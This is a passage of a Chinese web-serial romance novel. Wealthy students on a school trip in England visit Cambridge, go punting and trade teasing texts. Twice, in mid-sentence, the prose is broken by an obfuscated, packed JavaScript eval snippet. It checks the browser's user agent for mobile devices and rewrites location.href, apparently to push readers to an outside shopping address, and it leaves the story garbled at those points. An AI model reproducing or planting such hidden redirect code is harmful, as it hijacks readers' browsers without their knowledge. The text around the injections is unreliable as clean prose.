桌上的手机振动两下,屏幕上跳出朱缇的消息: 「我起来尿尿,你完事来我家吧。」 周悉许回: 「看情况,你来我这吧,你家离学校集合点太远了,反正你呆着也是呆着。」 朱缇很快回过来一条: 「去你家看周悉丞?」 后面还跟着个翻白眼的表情,很形象,周悉许脑子里瞬间就有了画面。她抬头看向对面悠哉悠哉吃着培根的人,恨铁不成钢地瞪了一眼。 好巧不巧,被抓了个正着。 “眼睛不舒服去医院看看。”周悉丞冷冷地说。 “周悉丞,实话实说吧,你是不是有点毛病?” “嗯?”对方没搞懂她想说什么。 “我也就纳闷了,这些年要死要活追你的女生那么多,怎么就没一个看得上的?” 周悉丞没答。 周悉许又继续说,“其他人咱先不说,就朱缇和陆浅哪个不是女神级别的,你就真一点反应也没有?” “这不是你该管的事。”周悉丞头都没抬,叉子稳稳扎进一块三文鱼里。 “你还真是?” 周悉丞冷眼看她,带着警告的意味,“别说些不着边的话。” “既然不是,就试试和朱缇培养下啊,她方方面面条件跟你也挺配的,和我关系还好,你俩在一起绝对家庭和睦。” “那我不如尝试下和陆浅,至少还有阿竞这层关系在。” 周悉丞是在告诉她:别咸吃萝卜淡操心,就算试,也轮不到你姐妹儿。 “有这功夫,好好去和阿竞相处。”周悉丞喝了口咖啡,嘲弄道,“毕竟除了他没人敢娶你。” “……”周悉许被噎住。 她用力戳着手机屏幕,给朱缇回了条信息: 「就把他当个屁,你在意他干嘛。」 朱缇那边久久没回复。 吃完早餐,周悉许进了衣帽间,站在衣柜前琢磨着穿什么。 手指划过一排排衣服,最终停在一条亚麻质地的阔腿长裤上,上身搭配了同样材质的无袖上衣。她捏着衣服料子,想起程又一借给自己的那件外套。衣服借给她的时候是全新的,洗完再还人家不合适,不洗直接还人家更不合适,毕竟她穿过。 思考片刻,她想出一个完美的解决方案:再买个新的还程又一,穿过的那个给周悉丞。俩人身材几乎差不多,尺码应该也一样。 至于周悉丞那边,如实讲,他大概率会被气到冒烟,她不会说太多,只说是自己送的礼物。 周悉许穿戴整齐,去卧室拎起那件衣服快步下楼。 她走到沙发前,抬手把衣服递给周悉丞。 “送你的。” “太阳打西边出来了?”周悉丞对这如其来的善举持怀疑态度,伸手接过来看了看,“还自带女士香水味?” 周悉许面不改色,“昨晚太冷,我就穿了会儿。” “就当你是有心了。” 周悉丞没多想,显然是信了。 “不谢,我有事,先走了。”周悉许毫不客气地说,“对了,我先去个地方,等会直接去学校集合点了,你们不用等我。”说完朝周悉丞摆摆手,出门了。 到了Harrods,她速战速决,进店、刷卡、拎袋,一气呵成,全程不超过十分钟。买完衣服便一路猛踩油门,赶到了学校定的酒店。 到的时间不早不晚,酒店大堂有三三两两的同学在闲聊。扫视一圈,没见到周悉丞他们,也没见程又一和篓恩,只看到站在西边角落的徐途。她旁边是之前帮带队老师点名的柳宜菲,两人正在小声聊天。 周悉许掏出手机摆弄着。 没过几分钟,两双帆布鞋映入眼帘。鞋带一白一粉,白的那个系得规规整整,粉的那个松垮地耷拉着。 她缓缓抬头。 面前站着徐途和柳宜菲。 “你也来这么早啊。”徐途面带微笑和她打招呼,指了指身边的人,“柳宜菲,我们班班长,你应该有印象吧?” 周悉许点头,“有印象。” 柳宜菲笑得有些拘谨,小心翼翼地打招呼,“你好。” 周悉许回了个礼貌的笑,“你好。” 双方客套问过好后,短暂的冷场了一会儿。 徐途略带尴尬地开口,“那个……我们也没什么意思,看你是一个人,就想着大家可以一起玩,人多会热闹不少。” 柳宜菲在一旁附和着猛点头,眼里全是真诚。 周悉许能感觉出来,两个女生对自己很友善,没有恶意。她不是凶神恶煞,对自己友好的人,她自然以礼相待。 “嗯,好。” 两个女生受宠若惊,尤其是柳宜菲,她完全没想到周悉许还有这一面,挺出乎意料的。 三人断断续续聊了一会儿,逐渐熟络起来。 周悉许和徐途都话不多,大部分时间扮演着倾听的角色。柳宜菲擅长交际,性格大大咧咧,知道的八卦也多,总能挑起话题。 过了快二十分钟,一辆银色迈巴赫停在酒店门口。 是陆竞的车。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586029|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他从主驾驶下车,周悉丞和陆浅从后座出来。 柳宜菲性格很直,脱口而出,“这派头,真羡慕,我这辈子都坐不起这车。” 徐途轻轻拉了拉她,“小声点。” 柳宜菲下意识捂嘴,尴尬一笑。 这车对陆竞来说就是代步工具,随手挑的。可在普通人看来,却远不止于此。 柳宜菲的反应很真实。周悉许没有瞧不起她,反而觉得这种毫不掩饰的真性情很坦荡。 “这车多老啊,不知道的还以为开车的是个老登儿。”周悉许开口缓和气氛。 “还真是,一般这种车我以为都是司机开呢。”柳宜菲笑着说,脸上没了窘容。 “悉许。”陆竞走过来,“去那边坐。” “你们先过去,我闲聊会儿。”周悉许回。 周悉丞没说话,径直往里走。陆浅朝她做了个鬼脸,屁颠屁颠也跟着走了。 又过了十来分钟,程又一那辆大牛出现在门口,副驾上坐着篓恩,后面还跟着一辆白色迈凯伦。 迈凯伦主驾走下来一个痞里痞气的帅哥。他上身黑色短袖,搭配同色工装裤,身高和程又一差不多,小麦色的皮肤,小臂上纹着显眼的纹身,看着野性十足。 副驾驶走下来的女生是顾畔。 周悉许瞬间知道了这个开迈凯伦的男生是谁。 他是顾畔的哥哥,应该也是程又一的朋友。昨晚打电话的那个女生就是顾畔,难怪当时她觉得那声音很耳熟。 “这是兰博基尼吗?”柳宜菲转头问。 周悉许点头。 “后面那是啥车啊?”柳宜菲又问。 “迈凯伦。” “虽然我不认识,但是看着也好贵的样子,这男的貌似不是我们学校的,没见过啊,不过长得还真挺帅。”柳宜菲一副花痴相。 “别说了,他们过来了。”徐途小声提醒。 篓恩大摇大摆走过来,“Hi,活驴,到挺早啊。” 周悉许不想引起顾畔和那个不良少年的注意,背过身,想装作没看见。 篓恩那个没眼力见的以为她没听见,走过来在她眼前晃了晃手,“嘿,跟你说话呢。” “早。” 周悉许僵着脸回,心里狂奔一万只羊驼。 见篓恩过来,一行几人也跟了过来。程又一还是和平时一样,看不出情绪,没说话。顾畔满脸厌恶,眼珠子都快瞪出来了。不良少年上下打量了周悉许好一会儿,笑着开口,“篓恩,介绍下啊。” 篓恩迟钝了几秒,很快反应过来,笑得猥琐,“这是我哥们,顾屹。”又对旁边的人说,“隆重介绍一下,这位大美女是我同桌,周悉许。”他的声音一如既往地欠揍,“周悉许,你应该听过吧?名气很大呢!” “当然,鼎鼎大名的周家大小姐,怎么会没听过。”顾屹笑得极具深意,眼神赤裸裸的,“久仰大名。” 周悉许微微一愣。 故意? 这名字倒挺配他这人。 正想着,面前伸出一只手。手腕内侧有个骷髅头样的纹身,手指修长,手上有一些细微的疤痕,看上去略显粗糙。 周悉许缓缓抬眼,对上一道炽热的视线,他嘴角挂着坏笑。 “很高兴认识你,周悉许。” 他整个人看上去很狂野,眉眼间还带着狠厉,看人的时候,眼神透露着压迫感。 周悉丞说得没错。 这人一看就是个疯批。 周悉许没伸手,只是礼貌点头回应。 这人浑身上下都写着“不好惹”,她可不想和他扯上关系。 “看来周大小姐不赏脸呢。”顾屹悻悻收回手。 程又一不易察觉地皱了下眉。 周悉许没注意到。她正想着怎么离顾屹远一点。 顾屹收回手,嘴角的弧度没变,眼底却多了点玩味。 “周悉许。” 他把这个名字在嘴里过了一遍,笑意又深了。 程又一的目光在他身上停了两秒,又移开。 谁都没再说话。 17. 偷感 “别特么闹了。” 程又一伸腿踢了顾屹一脚。力道不重,就是朋友间很常见的举动。 顾屹没多想。他人不在南洋,没听过那些传言,顾畔也没提过,自然而然地认为程又一是没耐心在这儿和女生闲扯。 但这举动在顾畔看来就有了另一种解读。她愤愤地打量周悉许,眼里几乎要喷火。 或许是立场不同,其他人都和顾屹一样,完全没放在心上,注意力全在顾屹和周悉许的互动上。因为顾屹的居心不良全写在脸上,想不注意都难。他直勾勾地盯着周悉许看,眼神直白得过分,以至于柳宜菲和徐途都感觉慌乱。 正当两人不知所措时,周悉丞过来了,他伸手在周悉许头上轻轻拍了一下。“别杵在这,走了,阿竞在那边等你呢。” 后半句显得有些多余,但周悉丞当着这些人面说,自然是有他的道理。 周悉许难得顺从,转头对徐途和柳宜菲说,“走吧,我们去那边坐。” 两人慌忙点点头,跟着周悉许一起离开了。 顾屹望着几人的背影,“周悉丞这话是说给咱听的?” “别咱,人这话就是说给对周悉许有想法的人听的,这儿除了你,没别人。”篓恩赶忙和他划清界限,把自己摘出来。 第一次见周悉许那天,篓恩的确动了歪心思。毕竟周悉许长得是真漂亮,见色起意很正常。但接触了一阵子,他那点色心全消耗殆尽了。周悉许倔得像头驴,脾气又古怪,他躲还来不及,根本不敢有任何想法了。 “陆竞可以啊,大舅哥这么认可他,周悉丞可是周家的未来的天,把他搞定了,拿下周悉许是早晚的事。”篓恩笑着说。 这话说到顾畔心坎里了,她笑眯眯接话,“是啊,听说他俩快订婚了,估计要不了多久就能官宣吧。” “还有这事?”顾屹挑眉一笑。 “差不多吧,人家是青梅竹马,联姻也很正常,你要没戏了。”篓恩拍了拍顾屹的肩膀,“不过这是好事,真的,你别只盯着脸蛋和身材,周悉许那个驴脾气一般人受不了,完全就不是个女的。” “都闲出屁了?” 程又一扔下句话,抬腿进了大堂。 身后两人互相看看对方。 篓恩先开口,“还得是程又一啊,你这个性冷淡都有反应了,他还跟个佛一样,我是真服他。” “滚,你特么才性冷淡。”顾屹骂道,“非要说性冷淡,也是他程又一,老子可不是。” 这一点,顾屹现在终于可以确定了,也彻底放心了。还好遇到周悉许这么个人,不然他还得继续怀疑自己。 没过多久,学生到齐了,在老师的引领下陆续上了酒店门口的大巴。 周悉许和周悉丞坐一起,隔了一条过道,同排坐着陆浅和陆竞,徐途和柳宜菲坐在周悉许他们后面一排。 程又一上车径直走到周悉许前面坐下,篓恩在他旁边,顾氏兄妹坐在陆竞他们前排。 这个区域,关系错综复杂。 人都坐满了,柳宜菲协助老师点名,确认无误后,大巴车缓缓驶离酒店。 周悉许靠着窗子看窗外的风景,周悉丞在一旁闭目养神。 不经意间,她在车窗玻璃上撞上了程又一的目光。看得不真切,但她觉得,他也在看她。 隔着一层玻璃,两个人视线交叠。 明明只是普通交情,却有种说不上来的宿命感。 她忽然想到还没还程又一衣服。刚才人多不方便,现在周悉丞又在旁边,只能再找别的时间。 正想着,手里的电话震动了两下。 点开一看,是程又一发的消息: 「衣服不打算还了?」 周悉许快速回: 「等会儿还你,现在不方便。」 很快,对方回了俩字: 「怕人?」 周悉许发过去个无语的表情,附带一行文字: 「只是不方便拿,在背包里,别那么多戏…」 对方一语击中: 「不是为了避开周悉丞?」 周悉许不知道该怎么回了。这人像是她肚子里的蛔虫,就这么轻而易举地戳穿她的小心思。正打着字,对面又接连冒出来两条消息: 「可以配合你私下来往。」 「名分我不介意,无所谓是不是男朋友。」 看着刚进来的这两句不清不楚的话,周悉许用力睁了睁眼。 她确定自己没看错,程又一发的是男朋友。 这人该不会是对自己…… 周悉许不自觉面露难色,手里的电话又震了两下。 「多打了个男,别失望。」 周悉许重重喘了口气,在安静的车厢里格外突兀,前面的人肯定听得一清二楚。 她手指飞快在屏幕上戳着。 「你病得不轻,抓紧时间去看看,眼睛不好就算了,脑子不好可不行。」 程又一嘴角上扬,不用看也知道周悉许现在是什么表情。他眼里难得流露笑意,沉浸在其中,完全没察觉旁边的人看了他很久。 “卧槽,程又一你搞对象呢吧?突然犯什么骚,笑那么贱,这么不像你呢。” 篓恩把脸凑过去,想看看程又一的手机,被无情推开了。 “滚一边去。” 两人的声音都没刻意压低,附近的人听得到。 周悉许偷偷斜眼看周悉丞。 他没反应,还在闭着眼,似乎是睡着了。 没过几秒,程又一的消息又过来了: 「差点让人发现我们的关系,怪我。」 这条消息怎么看,都挺暧昧。 周悉许回: 「篓恩没说错,你是真的Sao。」 前面的人几乎秒回: 「没错吗?他说了两句。」 周悉许透过车窗看程又一,仔细琢磨着他发的这些消息。总觉得他是在有意无意地撩人。 她没再继续回,打算小憩一会儿。 刚放下手机,身旁的人缓缓睁开了眼,“发完了?” “啊?你没睡?”周悉许支支吾吾问。 “终于消停了。”周悉丞没回她,“别再震了。” 后面的话音量提高了不少,周围的人都听得到,只是不知道他什么意思。 但程又一知道。 一个多小时后,大巴车抵达了目的地:剑桥。 周悉许心凉了半截。剑桥她来过,能逛的地方都逛遍了。这里远达不到程又一所说的“有意思”。只是适合读书、适合谈恋爱,偏偏这两样都和她不沾边。 剑河的水依旧平静,河面上偶尔划过一只平底船,船夫撑着篙,用带着口音的腔调给游客介绍。这里似乎永远是这幅光景,始终没变过。 第一站是菲茨威廉博物馆。建筑是新古典主义风格,门廊的柱子又高又粗,站在下面显得人很渺小。 尽管很无聊,周悉许还是被迫跟着大部队再次观摩。 周悉丞和陆竞一如往常,有模有样地四处逛着,看不出究竟是来过还是没来过。陆浅跟在周悉丞屁股后面转悠,重心根本不在藏品上,眼睛恨不得长在周悉丞身上。柳宜菲和徐途是难掩的兴奋,看得出两人很满意这个行程,还时不时拉着周悉许一起拍照。 至于程又一一行人,下车之后就没见踪影。 逛了接近半个小时,柳宜菲和徐途的热情明显下降,新鲜劲也过了。 周悉许提议,“楼下有咖啡,要去尝尝吗?还可以买伴手礼。” 两人互相看了对方一眼,而后狠狠点头。 从博物馆出来,三人朝圣体钟方向慢慢散步。远远就看见那只金色的蝗虫趴在钟顶,嘴一张一合,看着瘆得慌。 “能问你个问题吗?”柳宜菲看向周悉许。 “问吧。” 她张了张嘴,又笑了下,像是在给自己壮胆:“你到底和陆竞谈没谈恋爱?” “没有,只是好朋友。”周悉 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她习惯性推了下鼻梁上的镜框,顿了几秒,又继续,“你虽然一副生人勿近的样,但总觉得都只是表象,其实你人不坏,挺正派。” 徐途斯斯文文的,声音和人一样温婉,让人有种如沐春风的感觉。 “所以那天你才会给我通风报信?”周悉许问。 那天,徐途递给她的作业本里夹着的字条,其实是一条提醒,上面写着:别去走廊尽头的卫生间,有人要捉弄你。 徐途缓慢点头,“只是觉得那件事你挺无辜的,顾畔不该为难你。” 她表情严肃认真,带着学霸固有的一丝不苟,一板一眼的,像个正义的审判者。 周悉许的圈子里从来没有出现过这类型的女生。朱缇和鲁卡卡都不是乖乖女,尽管鲁卡卡很聪明,成绩很好,但她并不是传统意义上的好学生。 印象中徐途总是小心翼翼的,但又会在不经意间又流露出骨子里的执拗和勇敢。 比如递纸条的那个瞬间,还有此刻。 周悉许这个人很慢热,防备心又极强,能走进她内心的人并不多,这么多年她身边的朋友只有朱缇和鲁卡卡。她交朋友全凭第六感,有些人围着她说尽了好话,也总归是泛泛之交。可眼前这人,只说一句话,她就印象不错。 “那个顾畔她哥真的好吓人”柳宜菲岔开话题,“可惜了那张帅脸,竟然是个疯批,感觉这人好危险。” “是挺吓人。”徐途心不在焉道。 “程又一也是,怎么和这种人搅合在一起。”柳宜菲又说,“还有篓恩那个花心大萝卜,他这几个朋友没一个好人,看来他也不咋样。” “那不至于吧,感觉程又一和他们不一样。”徐途淡淡道。 “人以群分,物以类聚你不知道吗?你不能因为和他是同学就偏袒他。”柳宜菲反驳道,“再说,你们也就小学一个班,能看出来啥?” “你和程又一以前是同学?”周悉许问。 徐途点头,“也没说过几句话,初中他就去了英国。” 周悉许惊讶,“他也在英国上过学?” “嗯,好像是在伦敦上的学,也有人说是在约克,貌似还回过申泸一阵子,具体我也不知道,挺神秘的。” 难怪程又一对伦敦那么熟悉。昨天他送她的时候,都没开导航,应该是在这里生活了很多年。 周悉许思绪飘忽,视线随意瞥向前方。 剑河的石桥上,一个熟悉的背影正经过。身姿挺拔而修长。桥下三三两两结伴的行人,衬得这身影略显孤单。 她脑海里闪过徐志摩的诗句。 不是开篇,是结尾: “悄悄的我走了,正如我悄悄的来。我挥一挥衣袖,不带走一片云彩。” 不知为什么,那个原本该下桥的人,忽然调转了方向,迎面朝她走来。 她看清了。 是程又一。 18. 立flag当心打脸 “到泛舟点了,我们也坐一下呗?”柳宜菲眼睛亮亮的。 周悉许这才意识到不知不觉走了这么远。 两人满脸期待地看向她,“坐吗?” “坐。”她果断道。 三人是临时决定的,没提前在网上买票,只能现场买。 柳宜菲对比着价格比划了半天,抱怨道,“哎,又要交一波智商税。一个项目还能卖出两种价,真是把套路玩明白了。” 周悉许对这些没什么概念,独自去买了三张票。怕徐途和柳宜菲心里不舒服,她顺口胡诌,“那个人说买一送二,这两张是送的。” “还有这么大信息差吗?”柳宜菲眼睛睁得老大。 周悉许应付了句,“嗯,快走吧,人挺多的。”她随手朝四周比划了一圈,正准备收回手,便看到程又一他们几个。 他们也要泛舟。 篓恩最先注意到周悉许。“喂,活驴。”他撞了下旁边的顾屹,朝周悉许的方向抬了抬下巴。 顾屹顺着看过来,看到周悉许时,嘴角挂出一抹邪笑。 “这几个人是在你身上按了定位嘛,怎么老是遇到。”柳宜菲小声嘀咕。 “别管他们,我们玩我们的。”周悉许说。 徐途看了一眼程又一他们那边,想了一会儿,指了指稍远些的位置,“去那边等吧,估计还要挺长时间才轮到我们。” 周悉许点头,走得远了些。 篓恩没再叫她。 过了好半天,程又一他们还站在原地,迟迟未动。直到周悉许她们上船,几人才走过来。 顾屹走在最前头。很明显,这个安排是出自他手。 篓恩和程又一并排走在后面,满脸损相,嘴没消停,还时不时露出奇奇怪怪的笑,一看就没憋什么好屁。程又一全程面无表情,一直没张嘴,像是在想事。 顾屹最先到了船边,但没上船,等周悉许过来,他弯腰做了个请的姿势,“女士优先。” 周悉许身子侧了侧,对身边两人说,“先上吧。” 船上一排只能坐俩人,周悉许她们三个坐两排,总归会空出来一个位置。 柳宜菲往后挪了一步,轻轻推了推徐途和周悉许,“你俩坐里面吧,我恐水,还不会游泳,怕掉下去。” 周悉许知道她是怕她落单,让顾屹有机可乘,才主动提议单独坐。 刚想拒绝,徐途先一步开了口,“走吧,我们坐里面。”她拉着周悉许的胳膊往船上走。 上了船,周悉许坐了最里面的位置,徐途坐她旁边,柳宜菲在她对面,两人相当于把她包围起来,就算顾屹坐过来,也不至于面对面。 这么明显的安排,顾屹自然看得明白。他满不在乎地坐到了柳宜菲旁边。 刚坐下,程又一就在他后背重重一拍,“转过来,要么和你妹换位置,别把她扔给我俩。” 顾屹恨铁不成钢地瞪了顾畔一眼,极不情愿,但还是转了过来。 顾畔一句话都没说,装得乖巧可人,眼睛直勾勾看着程又一。 “看风景,别看我。”程又一冷淡道。他的目光略过顾畔,落在船头。 船头上,周悉许正百无聊赖地望着船尾。既是为了避开和顾屹对视,也因为她有点晕船,只能盯着前方。 她和程又一中间隔着柳宜菲和顾畔。两个女生的身材娇小,以至于只是平视就能看到程又一。 程又一也是一样。 他吊儿郎当地靠着椅背,直直地望着周悉许,带着几分玩味和漫不经心,但至始至终都没移开过视线,哪怕和对方撞了个正着。 那些有意无意地对视,只有两人心知肚明,其他人并未察觉。 顾屹撑着身子微微向后靠,对着周悉许吹了个口哨,“聊聊天呗,坐着也是坐着,怪无聊的。” 周悉许直接屏蔽,看都没看一眼。反正没指名道姓,她懒得搭话。 “还真是高冷。”顾屹戏谑一笑,“可是怎么办,你越这样,老子越感兴趣。” “活驴不是一般的难搞,她刚来那会儿,我和程又一都碰了一鼻子灰,先不说其他的,就跟她说个话,示个好都费劲,人就是觉得你别有用心。”篓恩插了一嘴。 “都没被程又一迷住?”顾屹笑着问。 篓恩笑得前仰后合,“还迷住?迷个屁啊!她怀疑程又一性取向有问题。”。 顾屹也跟着笑起来,“还有这么搞笑的事呢?”他饶有兴趣地看向程又一,“你说实话吧,这么多年都对女的没兴趣,是想玩老子还是篓恩?玩篓恩老子可以帮你按着他,惦记老子想都别想。” “滚。”程又一低骂,“我要真想玩,你以为你反抗得了?” “卧槽,你特么来真的?吓死我了,篓恩,这个B真变态啊,咱以后得远离他。” 顾屹往后挪了挪,篓恩也很配合,“不是吧,那最危险的可不就是小爷了吗?你以后别走我后面。” “滚一边去,你太丑。”程又一手指在手机屏幕上轻敲了几下,又说,“我颜控。” 几秒后,周悉许的手机进来一条消息,是程又一发的: 「托你的福,本人声名狼藉。」 都在一个船上,周悉许必然是能听到他们的对话,只能再次表示歉意,飞快回过去两个字: 「抱歉。」 程又一盯着屏幕,嘴角微扬,回了条消息: 「听到了?我颜控,你看着办。」 周悉许抬头看消息的发送者。 此时,他也在看她,还轻佻地抬了下眉,有些浪荡,像是在拿她寻开心。 起码周悉许是这么认为的。 她低下头敲了好长一串消息,足足四五行字,敲完,又一一删掉,最后发过去短短几个字: 「那我把周悉丞给你?」 消息发过去,她不禁佩服自己的聪明才智,又补充一条: 「他是学跆拳道的,你俩谁能玩谁看本事吧,胜者为王。」 程又一回: 「不用那么麻烦,丞换个字,省得你当传话筒了。」 周悉许接连发了两条: 「你怎么知道我还有个远房堂哥叫周悉锡?」 「怎么办呢?他也是颜控,嫌你丑。」 程又一哭笑不得,活了快二十年,还是第一次有人说他丑,不过他并不在意,也不想和对方讨论这个话题。 「这不有周悉许吗,不用舍近求远。」 周悉许哂笑,又回: 「不好意思,周悉许说她也嫌你丑,还让我代为转告:别太自恋,没有镜子,尿总有的吧。」 程又一被气到失笑,有生以来还是头一回被侮辱到。 他想了想,试探着发了几个字: 「随便立flag,当心打脸。」 周悉许没再回。她倒不是怕打脸,也不是故意晾着程又一,只是有点晕船了。她放下手机,抬头看沿河的风景,想缓解一下。 不得不承认,这里的风景确实不错。 波光粼粼的水面游着几只鸭子,年代久远的建筑上覆着红绿交织的爬山虎,偶尔还有几只活蹦乱跳的小松鼠路过。 周悉许揉了揉太阳穴,转头的瞬间,正巧看到程又一正举着手机在拍风景。 “你挪一下。” 周悉许以为他是在说自己,本能地往旁边靠了靠。 “不是说你。”程又一侧过脸看她,伸手指了指顾畔,“你挪,头太大,入镜了。” 顾畔弯起的嘴角僵住了。她原本打算不经意出个镜,没想到泡汤了,还被当众点名头大。一时间,有些挂不住面儿,脸色青一阵红一阵的。 程又一又朝周悉许看过去,“你不用动,拍不到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586031|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 顾畔扭过头,狠狠瞪了周悉许一眼。 她才不信程又一的鬼话。她的头并不大,程又一这么说无非是嫌她挡了某人。从程又一的角度拍,周悉许肯定会被拍到,只是入镜多少的问题。她挪开了,画面里就只剩周悉许一个人了。 程又一的心思别人看不出,但逃不过顾畔的眼睛。 “这颜值入镜正好当模特了,长得这么正点,老子就喜欢这种。”顾屹斜睨着周悉许。 “这么喜欢,就让她给我当嫂子呗。”顾畔接过话,笑盈盈的,但一看就知道没安好心。 “我倒想,这不也得问人家同不同意嘛。”顾屹坏笑着问周悉许,“同意吗?嗯?” 周悉许没搭话。 见周悉许不理睬,顾屹又指名道姓地问,“嘿,周悉许,问你呢,谈个对象怎么样?” “没兴趣。”周悉许冷淡道。 “听到了?人不愿意。”顾屹一副无赖样,“总不能强迫人家吧。” “强迫”两个字他咬得很重。 周悉许皱眉。还没来得急回怼,就听到一声低笑,声音不算大,但嘲讽意味十足。 “行了,那点能耐就知道欺负人女生。”程又一不咸不淡地说,整个人都透着一股散漫劲儿。 “你特么真是专业拆台的。”顾屹瞪了他一眼,“人姑娘本来就不同意,你还特么给我雪上加霜。” “不同意不是很正常?没镜子,尿总有吧。”程又一说着似笑非笑地看看周悉许。后面的话是对顾屹说的,但也像是对周悉许说的。 “到了,赶紧上去吧。” 说完,程又一起身先下了船。 之后,周悉许三人走了相反的方向,顾屹也没再跟上来。几人放松了些,没有在船上的拘谨了。 “顾畔她哥就是个流氓,臭无赖,这种人还好不在南洋,不然简直是祸害。”柳宜菲吐槽道。 “确实挺无赖的,哪有这么没礼貌追女生的,还威胁人。”徐途轻叹了口气,“程又一怎么会和他这种人玩这么多年。” “他们在一起玩很多年?”周悉许问。 “啊,据说是关系很好的发小。”徐途回,“具体的我也不太清楚,只是听别人说的,看他们相处这么随意,可能是吧。” “那这么说程又一更不是啥好鸟了,和这种人是发小,他身边哪有个正常人?”柳宜菲撇撇嘴,下了个结论。“人以群分,物以类聚,臭鱼堆里哪有什么好鱼。” 周悉许点点头,“有道理。” 她也觉得差不多的人才会玩到一起,也就是所谓的臭味相同。混在一起久的人或多或少都有些相似之处。要么都不靠谱,要么都巨靠谱,比如她和朱缇,再比如周悉丞和陆竞。 “他应该不一样。”徐途满脸认真地说。 “你和他是同学,就对他有滤镜,他绝对是外冷内骚型的,表面上装得一本正经,实际上骚话连篇。”柳宜菲看了眼周悉许,又说,“他之前撩人那些话你又不是没听到。” 徐途沉默几秒,“他那个话确实有点反常,虽然不知道什么原因,但我觉得他是故意气人的,和篓恩不一样。” 顿了顿,又说,“我真没见过他和哪个女生牵扯不清过。你看他对顾畔,根本不留面子。” “反正我觉得程又一不是啥好人。”柳宜菲摊了下手,摆明了不想再争辩。 徐途也没再说其他。 最开始,周悉许对程又一确实没好印象,也会毫不犹豫地认定他是个烂人。但这阵子的接触,让她有所改观。 尽管程又一的一些行为仍然让人费解,但直觉告诉她,没那么绝对。 河面上的风吹过来,带着水汽和青草的气息。 她低头看了一眼手机屏幕上的那条消息。 然后锁屏,放进口袋。 没再想。 19. 怦然心动 剑桥一日行很快就结束了。 实际上就是常规的游客观光,到打卡点拍拍照留念,走马观花地看看这个被誉为世界顶级的学术殿堂。 周悉许对探索科学没兴趣,也不是文艺青年,这种行程她觉得索然无味。 与其在这浪费时间,不如回去听朱缇讲讲八卦,顺带着还能远离顾屹那个妖魔鬼怪。但让她没想到的是,大部队不回伦敦,而是去剑桥附近的一个小镇。 美其名曰是深度体验剑桥文化之旅。听着有点深度,但说得直白点就是野餐露营。 既无聊又老土,没有任何新意。 周悉许突然就觉得程又一那张嘴挺不靠谱的。 这一整天下来,所有的活动都和“有意思”没有半毛钱关系,后面的行程看来也不能太期待了。 周悉许有些失望,拖着疲惫的身体上了车。 大巴车上没见顾屹的身影,顾畔的小跟班坐在了顾屹之前的位置。 周悉许暗喜,估摸着这疯批是有事离开了。 她拍了拍旁边又在闭目养神的周悉丞,“你每年都来夏令营对吧?” 周悉丞眼皮都没抬,喉咙里发出很低的一声“嗯”。 周悉许早就习以为常,平静地问,“往年也有这个项目吗?” 周悉丞还是一动不动,和刚才一样“嗯”了一下。 “有意思吗?” 周悉丞终于张开了那张金口,“见仁见智。” 这回答就是废话,等同于没说。 她回头问徐途和柳宜菲,“你们之前谁来过?后面的行程咋样?” 两人都摇头。 “应该挺有意思吧,从第一天开始就没让我失望过,哪里都好好玩。”柳宜菲看着兴致高昂。 车里很安静,她声音虽然不大,但在这个环境下显得很突出。 “穷B土包子。” 后排发出了个声音。不知道是谁说的,但车上只要没带耳机,没睡觉的人,应该都听得到。 柳宜菲弯弯的笑眼僵住了,上扬的唇也抿成一条直线,窘迫地避开了视线。 南洋是申泸最顶尖的私立贵族学校。学生非富即贵的自然不在少数,但也有不少来自中产家庭,更有个别普通家庭倾尽所有,只为给孩子最好的教育。 周悉许对柳宜菲的家庭状况并不了解,也没兴趣去了解。她只是觉得这个女生真实坦诚、积极向上,如实表达内心的想法,不该遭受恶意的歧视和挖苦。 她半撑起身,朝后排看过去,“谁啊?这么有钱怎么连个牙刷都不舍得买?先去刷刷那张臭嘴,不然别怪我拿我五毛钱的二手牙刷亲自动手。” 嘲讽的那个人没再出声。 车内又回归了安静,甚至比之前更静了。 周悉许很清楚,那个人不敢出声,是因为叫嚣的人是自己。她早就预料到了,这个社会就是这样,无论哪个阶层,欺软怕硬都再常见不过。 别人怕她,不单单是因为“周悉许”这个人,更多的是她背后的家庭。 虽然这么说有种得了便宜还卖乖的感觉,但出身她无法选择,有钱确实是好事。但她从不会毫无缘由地凌弱,除非那个弱本身就是恶。穷和富不是原罪,由此衍生出的贪婪和邪恶才是。 柳宜菲朝周悉许投来感激的微笑,做了个谢谢的口型。 周悉许笑了一下,示意她别当回事。 刚坐下,手里的电话震动了两下,点开一看是程又一发来的信息。 「我不介意你五毛钱的二手牙刷,什么时候亲自动个手?」 这人……真是贱得没边。 周悉许正想着怎么回,旁边的人咳了一下,她顿时灵机一动。 「我没多余的了,到是可以偷拿周悉丞的给你刷刷,还是你更偏好篓恩的?随便挑个人,满足你的癖好。」 没过两秒程又一就回复了,短短的一句话分了两条发过来。 「别人不行。」 「只能是你的。」 不知道是不是想多了,她看着第二条缺少主语的这句“只能是你的”,还看出了另一层意思。 这个主语是物,也可以是人。 要么是程又一真贱,要么就是她自己真闲。 周悉许没回复。 大巴车很快抵达了露营点。 放眼望去,草地和天空相接,一条不见源头的河流蜿蜒流淌,这里没有坚硬的石墙,只有几排更贴近大自然的三角木屋。 学校主打一个用心良苦,为了培养学生的自立能力,晚餐的BBQ由学生自己动手。 